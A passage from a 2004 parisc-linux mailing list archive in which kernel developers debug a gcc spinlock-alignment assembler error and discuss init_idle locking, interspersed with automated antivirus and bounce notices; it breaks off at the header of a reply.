From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 15:32:35 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20040328233235.GL750@tausq.org>
References: <20040328203211.GK750@tausq.org>
	<200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623315 7387 80.91.229.3 (22 Nov 2014 02:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: randolph@tausq.org  Sun Mar 28 15:53:23 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CADF482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 15:53:23 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 48378CD29F; Sun, 28 Mar 2004 15:32:35 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 22:53:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21228

> > legolas[11:47] linux-2.6% make drivers/block/loop.o
> >   CC      drivers/block/loop.o
> > {standard input}: Assembler messages:
> > {standard input}:3701: Error: Field not properly aligned [8] (-183).
> > {standard input}:3701: Error: Invalid operands
> 
> Take a look at the assembler output for the above line.

i did, it's a "ldd -183(%r3), %rN" (i don't remember the target register
right now)

with -g it is pointing to the if () comparision inside the function. but
removing the up()/down() calls makes the error go away. removing the
loop and making it only operate on loop_dev[0] also makes the error go
away.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 15:36:37 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20040328233637.GM750@tausq.org>
References: <200403282248.i2SMma2a010231@hiauly1.hia.nrc.ca>
	<200403282251.i2SMp7OD010307@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623315 7393 80.91.229.3 (22 Nov 2014 02:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: randolph@tausq.org  Sun Mar 28 15:57:23 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74702482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 15:57:23 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A7731CD29F; Sun, 28 Mar 2004 15:36:37 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200403282251.i2SMp7OD010307@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 22:57:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21229

> I think this is a coding problem.

that's what i thought too initially, but there are no special things 
in the structure that makes it unaligned. pls take a look at the test 
program i attached... the structure only has a spinlock, an int and a 
pointer.  where the heck does it get 183 from (or 23 in the test 
program)? :) i'm guessing it inlined the __ldcw_align() and did some 
constant folding to do the alignment and then the offset becomes wrong?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 18:00:08 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200403282300.i2SN08Lr010402@hiauly1.hia.nrc.ca>
References: <20040328233235.GL750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623315 7404 80.91.229.3 (22 Nov 2014 02:28:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Mar 28 16:00:10 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2876A482C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 16:00:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i2SN08qE010404; Sun, 28 Mar 2004 18:00:09 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i2SN08Lr010402;
	Sun, 28 Mar 2004 18:00:08 -0500 (EST)
In-Reply-To: <20040328233235.GL750@tausq.org> from "Randolph Chung" at Mar 28,
	2004 03:32:35 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 23:00:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21230

> > > {standard input}:3701: Error: Field not properly aligned [8] (-183).
> > > {standard input}:3701: Error: Invalid operands
> > 
> > Take a look at the assembler output for the above line.
> 
> i did, it's a "ldd -183(%r3), %rN" (i don't remember the target register
> right now)

It's the "183" that's the problem.  Can you see where that is coming from?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] spinlock align code triggering bug in gcc?
Date: Sun, 28 Mar 2004 18:51:35 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200403282351.i2SNpZdU010717@hiauly1.hia.nrc.ca>
References: <20040328233637.GM750@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623316 7410 80.91.229.3 (22 Nov 2014 02:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Mar 28 16:51:37 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 42C02482A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 16:51:37 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i2SNpaqE010718; Sun, 28 Mar 2004 18:51:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i2SNpZdU010717;
	Sun, 28 Mar 2004 18:51:35 -0500 (EST)
In-Reply-To: <20040328233637.GM750@tausq.org> from "Randolph Chung" at Mar 28,
	2004 03:36:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 28 Mar 2004 23:51:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21231

> pointer.  where the heck does it get 183 from (or 23 in the test 
> program)? :) i'm guessing it inlined the __ldcw_align() and did some 
> constant folding to do the alignment and then the offset becomes wrong?

23 = 8 + 15.  The 15 is from ldcw align.  Don't know why we are using
this value in a ldd.  I think the ldcw is aligned ok.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Mon, 29 Mar 2004 02:21:28 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <0de401c41523$c74ff040$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623316 7416 80.91.229.3 (22 Nov 2014 02:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:36 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sun Mar 28 17:22:19 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id F057648B0
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 17:22:18 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88ABE.dip0.t-ipconnect.de
	[217.232.138.190])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2T0MHo29741
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 02:22:17 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Mon, 29 Mar 2004 02:21:28 +0200
thread-index: AcQVI8dPPz4BfrnDQBSiTZl+QNYaaA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 29 Mar 2004 00:21:28.0953 (UTC)
	FILETIME=[C7929E90:01C41523]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 00:22:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21232

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/29/2004 2:21:27 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Mon, 29 Mar 2004 07:41:32 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <0e8701c41550$7d8a7750$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623316 7423 80.91.229.3 (22 Nov 2014 02:28:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:36 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sun Mar 28 22:41:17 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E644488D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 28 Mar 2004 22:41:17 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88ABE.dip0.t-ipconnect.de
	[217.232.138.190])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2T5fFo11146
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 07:41:15 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Mon, 29 Mar 2004 07:41:32 +0200
thread-index: AcQVUH2IPr0+cVfySbCNHJxMOD+Vkw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 29 Mar 2004 05:41:32.0397 (UTC)
	FILETIME=[7DB7A1D0:01C41550]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 05:41:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21233

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/29/2004 7:41:31 AM
Engine/Pattern = 6.860-1001/1.840.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MAILER-DAEMON@polito.it
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Undeliverable mail: Re: Here
Date: Mon, 29 Mar 2004 17:14:07 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <receipt-34170654@polito.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type="delivery-status";
	boundary="_===34170654====polito.it===_"
X-Trace: ger.gmane.org 1416623317 7427 80.91.229.3 (22 Nov 2014 02:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: MAILER-DAEMON  Mon Mar 29 08:14:26 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from polito.it (anacreon.polito.it [130.192.3.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51FFD487A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 08:14:25 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 15:14:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21234


--_===34170654====polito.it===_
Content-Type: text/plain; charset="utf-8"

Failed to deliver to 'cravero@athena.polito.it'
Attenzione! il dominio athena.polito.it
è stato rimosso. Controllare il corretto indirizzo di posta elettronica.
---------------------------------------
Attention! athena.polito.it domain was removed. Please check for the new account address.


--_===34170654====polito.it===_
Content-Type: message/delivery-status

Reporting-MTA: dns; polito.it

Original-Recipient: rfc822;<cravero@athena.polito.it>
Final-Recipient: system;<cravero@athena.polito.it>
Action: failed
Status: 5.0.0

--_===34170654====polito.it===_
Content-Type: text/rfc822-headers

Received: from [61.3.144.17] (HELO athena.polito.it)
  by polito.it (CommuniGate Pro SMTP 4.1.8)
  with ESMTP id 34170634 for cravero@athena.polito.it; Mon, 29 Mar 2004 17:14:01 +0200
From: parisc-linux@lists.parisc-linux.org
To: cravero@athena.polito.it
Subject: Re: Here
Date: Mon, 29 Mar 2004 20:46:07 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0005_00005D63.00005A80"
X-Priority: 3
X-MSMail-Priority: Normal
Message-ID: <auto-000034170634@polito.it>

--_===34170654====polito.it===_--


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init_idle and local_irq_save
Date: Mon, 29 Mar 2004 09:03:57 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040329160357.GA31448@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623317 7434 80.91.229.3 (22 Nov 2014 02:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Mon Mar 29 09:03:58 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id D286D486F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 09:03:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3A1C029803E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 09:03:58 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31925-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 09:03:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BA466298038; Mon, 29 Mar 2004 09:03:57 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 16:03:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21235

Hi all,
I'm trying to get 2.6 SMP working on a UP box and was walking
through the init sequence. I have two questions related to init_idle()
in kernel/sched.c:

o local_irq_save()/local_irq_restore are called without an
  obvious local_irq_disable() call in between. Is this really
  needed for some other reason or is the local_irq_disable() missing?

o double_rq_lock() acquires the locks with lowest address first.
  double_rq_unlock() does not release those in the inverse order.
  Is that a problem?
  I'm just nervous since I didn't see the local_irq_disable()
  in init_idle() which would guarantee both unlock's happen atomically.

thanks,
grant


From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init_idle and local_irq_save
Date: 29 Mar 2004 11:17:19 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1080577040.1804.9.camel@mulgrave>
References: <20040329160357.GA31448@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623317 7440 80.91.229.3 (22 Nov 2014 02:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:37 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Mon Mar 29 09:17:27 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA841486F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 09:17:26 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i2TGHPa04887; Mon, 29 Mar 2004 11:17:25 -0500
In-Reply-To: <20040329160357.GA31448@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 29 Mar 2004 16:17:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21236

On Mon, 2004-03-29 at 11:03, Grant Grundler wrote:
> o local_irq_save()/local_irq_restore are called without an
>   obvious local_irq_disable() call in between. Is this really
>   needed for some other reason or is the local_irq_disable() missing?

local_irq_save() does do an irq disable.  You're thinking of
local_save_flags() which only saves the flags but doesn't disable
interrupts.

> o double_rq_lock() acquires the locks with lowest address first.
>   double_rq_unlock() does not release those in the inverse order.
>   Is that a problem?
>   I'm just nervous since I didn't see the local_irq_disable()
>   in init_idle() which would guarantee both unlock's happen atomically.

No.  The deadlock potential comes only from lock acquisition order, not
lock release order:  nothing can block a lock release from proceeding.

James




From - Thu Nov 08 21:31:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] init_idle and local_irq_save
Date: Mon, 29 Mar 2004 17:31:34 +0100
